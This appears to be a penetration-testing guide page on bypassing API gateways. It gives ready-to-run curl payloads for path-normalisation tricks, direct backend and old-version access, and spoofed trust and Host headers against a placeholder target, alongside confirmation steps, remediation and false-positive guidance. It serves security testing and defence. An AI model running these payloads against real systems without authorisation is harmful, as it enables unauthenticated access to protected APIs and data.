7 min read

API Gateway Bypass

API gateways and reverse proxies (Nginx, Kong, Envoy, AWS API Gateway) enforce authentication, rate limiting, and routing. Misconfigurations in path normalization, header handling, and routing rules allow attackers to bypass these controls and access unprotected backend APIs directly.

Frameworks: WSTG n/a (v4.2 closest: WSTG-ATHZ-02; v5: WSTG-CONF-13 Path Confusion) · ASVS 5.0 V4.1.3 (also V13.2.4, V8.2.1) · CWE-288, CWE-441 · T1190

Why the Gateway and the Backend Disagree

A gateway and an application server both parse the same request-target, and nothing forces them to agree. The gateway matches its route and ACL table against the raw string; the framework normalises first — decoding percent escapes, collapsing dot segments, stripping ; path parameters, lowercasing — and only then dispatches. Every difference between those two readings is a bypass candidate. CWE-441 names the result a confused deputy: the gateway is trusted to make the decision, and the backend executes a different request.

The preconditions are concrete: a control enforced at the edge (authentication, rate limit, WAF rule, route allowlist) and a backend that accepts the mutated path. ..;/ works because Tomcat and Spring treat ; as the start of path parameters and strip it after routing, while many proxies see a literal segment. %252f is decoded once by the proxy and again by the backend. Neither is a parsing bug on its own — the bug is that one component decides and another executes.

Path Traversal & Normalization

The dot-segment payloads need curl --path-as-is. Without it curl resolves /api/./admin/users and /api/admin/../admin/users locally before the request leaves your machine, so the gateway receives the already-collapsed canonical path and the test proves nothing. Only the percent-encoded and ; variants survive a default curl invocation, which is why a scan that omits the flag reports a clean gateway. A positive result is the protected resource's own body — an admin listing with data. A benign result is a 403 or 404 block page, a redirect to login, or an empty SPA fallback; compare every variant against the baseline you sent to a path that is definitely blocked.

gateway-path-bypass.sh
# API gateway blocks /admin/* but can be bypassed with path confusion:
# --path-as-is is REQUIRED for dot segments: without it curl rewrites
# /api/./admin/users → /api/admin/users and collapses /../ before sending,
# so the test never reaches the gateway as written.

# Double encoding:
curl -s https://target.com/api/..%252f..%252fadmin/users

# Path normalization differences:
curl -s --path-as-is https://target.com/api/./admin/users
curl -s --path-as-is https://target.com/api/admin/../admin/users
curl -s --path-as-is https://target.com/api/%2e%2e/admin/users
curl -s --path-as-is https://target.com/api/..;/admin/users       # Tomcat/Spring
curl -s https://target.com/api/admin/users;.json      # Semicolon injection

# Trailing characters:
curl -s https://target.com/admin/users/
curl -s https://target.com/admin/users%20
curl -s https://target.com/admin/users%00
curl -s https://target.com/admin/users..json

# Case sensitivity (gateway case-sensitive, backend isn't):
curl -s https://target.com/Admin/users
curl -s https://target.com/ADMIN/users
curl -s https://target.com/aDmIn/users

# HTTP method override:
curl -s -X GET https://target.com/api/admin/users \
  -H 'X-HTTP-Method-Override: DELETE'
curl -s -X POST https://target.com/api/admin/users \
  -H 'X-HTTP-Method: PUT'

Direct Backend Access

Version and route gaps are the highest-yield check, because gateways are configured per route and per version and old versions outlive their rules. Send a regular user's token to /api/v1/… while /api/v2/… is the protected surface, then try paths the gateway has no rule for at all — /api/internal/config, /api/metrics, /api/debug. A positive result is a 200 containing data or configuration the gateway would have blocked. A benign result is the gateway's own error page; the Server header and the error body shape tell you which hop answered.

gateway-direct-backend.sh
# Discover backend servers bypassing the gateway:

# Check for internal headers revealing backend info:
curl -sI https://target.com/api/users | grep -iE 'x-backend|x-served|x-upstream|via|x-real'

# Try accessing backend ports directly:
# If you discover internal IPs from headers or SSRF:
curl -s http://10.0.1.50:8080/api/users  # No auth required!

# Exploit API version routing gaps:
# Gateway protects /api/v2/* but not /api/v1/*:
curl -s https://target.com/api/v1/admin/users -H 'Authorization: Bearer REGULAR_TOKEN'

# Test unregistered paths:
# Gateway only routes known paths — try undocumented ones:
curl -s https://target.com/api/internal/config
curl -s https://target.com/api/debug
curl -s https://target.com/api/health
curl -s https://target.com/api/metrics
curl -s https://target.com/api/graphql  # GraphQL may bypass REST gateway rules

Header Manipulation

Two mechanisms live here. Trust headers — X-Forwarded-User, X-User-Id, X-Internal-Auth — are added by the gateway for the backend, so if it forwards a client-supplied copy instead of overwriting it, the backend believes the attacker. Host-based routing is the same problem in another field: when the backend trusts the vhost, Host: internal-admin.target.local can select a different virtual host. A positive result is an admin response or an identity change; a benign one is a 400 from a strict vhost check. Always send a control request without the header.

gateway-header-bypass.sh
# Bypass authentication at the gateway level:

# Internal trust headers (gateway adds these for backend):
curl -s https://target.com/api/admin/users \
  -H 'X-Forwarded-User: admin'

curl -s https://target.com/api/admin/users \
  -H 'X-User-Id: 1' \
  -H 'X-User-Role: admin'

# If the backend trusts headers added by the gateway:
curl -s https://target.com/api/users \
  -H 'X-Internal-Auth: true'

# Host header routing bypass:
curl -s https://target.com/api/admin/ \
  -H 'Host: internal-admin.target.local'

# Protocol downgrade:
curl -s http://target.com/api/admin/users  # HTTP might skip gateway

# Content-Type confusion:
curl -s https://target.com/api/users \
  -H 'Content-Type: application/xml' \
  -d '<user><role>admin</role></user>'
# Gateway validates JSON but backend also accepts XML

Confirming the Bypass

Report a bypass only when you can show the same resource twice: blocked through the canonical path, served through the mutated one, with both request lines and both response bodies. A different error is not a bypass — a 302 to /login from the backend is still a denial. Strip cookies and authorisation from the mutated request to prove which control you bypassed; if it still works with no credentials at all, you have found an unauthenticated endpoint, which is a different and generally worse finding.

Testing Checklist

  • ☐ 1. Identify the gateway/proxy technology from response headers
  • ☐ 2. Test path normalization bypass (encoding, traversal, case, trailing chars)
  • ☐ 3. Test direct backend access via discovered internal IPs
  • ☐ 4. Test internal trust headers (X-Forwarded-User, X-User-Role)
  • ☐ 5. Test old API versions that may bypass new gateway rules
  • ☐ 6. Test HTTP method override headers
  • ☐ 7. Test hostname-based routing bypass via Host header
  • ☐ 8. Re-run every dot-segment test with curl --path-as-is; a default curl collapses the path client-side and never sends the payload
  • ☐ 9. Capture the blocked baseline and the mutated request side by side, including the response body, not just the status code

Evidence Collection

Bypass Request: HTTP request that circumvents the gateway's protection

Comparison: Side-by-side of blocked request vs bypassed request

Path Form: The exact request-target as sent (percent-encoding and <code>;</code> preserved) plus the gateway/backend that answered each variant

CVSS Range: Auth bypass: 8.1–9.8 | Rate limit bypass: 5.3–7.5

Remediation

  • • Normalize paths: Ensure the gateway normalizes all paths before matching routing rules.
  • • Backend auth: Never rely solely on gateway auth — implement authentication at the backend service level too.
  • • Strip trust headers: Gateway must strip internal headers (X-User-Id, X-Internal-Auth) from external requests.
  • • Network segmentation: Backend services should only accept connections from the gateway, not from the internet.
  • • Match after normalisation: Decode and canonicalise the path before evaluating access rules, then forward the canonical form so the backend routes on the same string the gateway authorised.
  • • Reject ambiguous paths: Refuse request-targets containing encoded separators, dot segments or ; parameters at the edge rather than normalising them into something the backend reads differently.

False Positive Identification

  • Direct backend access by design: Some architectures intentionally expose backends alongside the gateway — verify with the client whether direct access is intended.
  • Rate limit reset on gateway restart: Rate limits resetting during deployments may be a known limitation, not a bypass — test during steady state.
  • Different response ≠ bypass: Getting a different error from the gateway vs. backend doesn't mean auth was bypassed — confirm you accessed protected resources.
  • Client-side redirect, not a bypass: A path that returns the SPA shell or a 302 to the login page is a denial. Confirm the response body contains the protected data before reporting it.
  • Path collapsed by your own tooling: A dot-segment test that returns the gateway's block page proves nothing if curl normalised the path before sending. Check the raw request in your proxy history.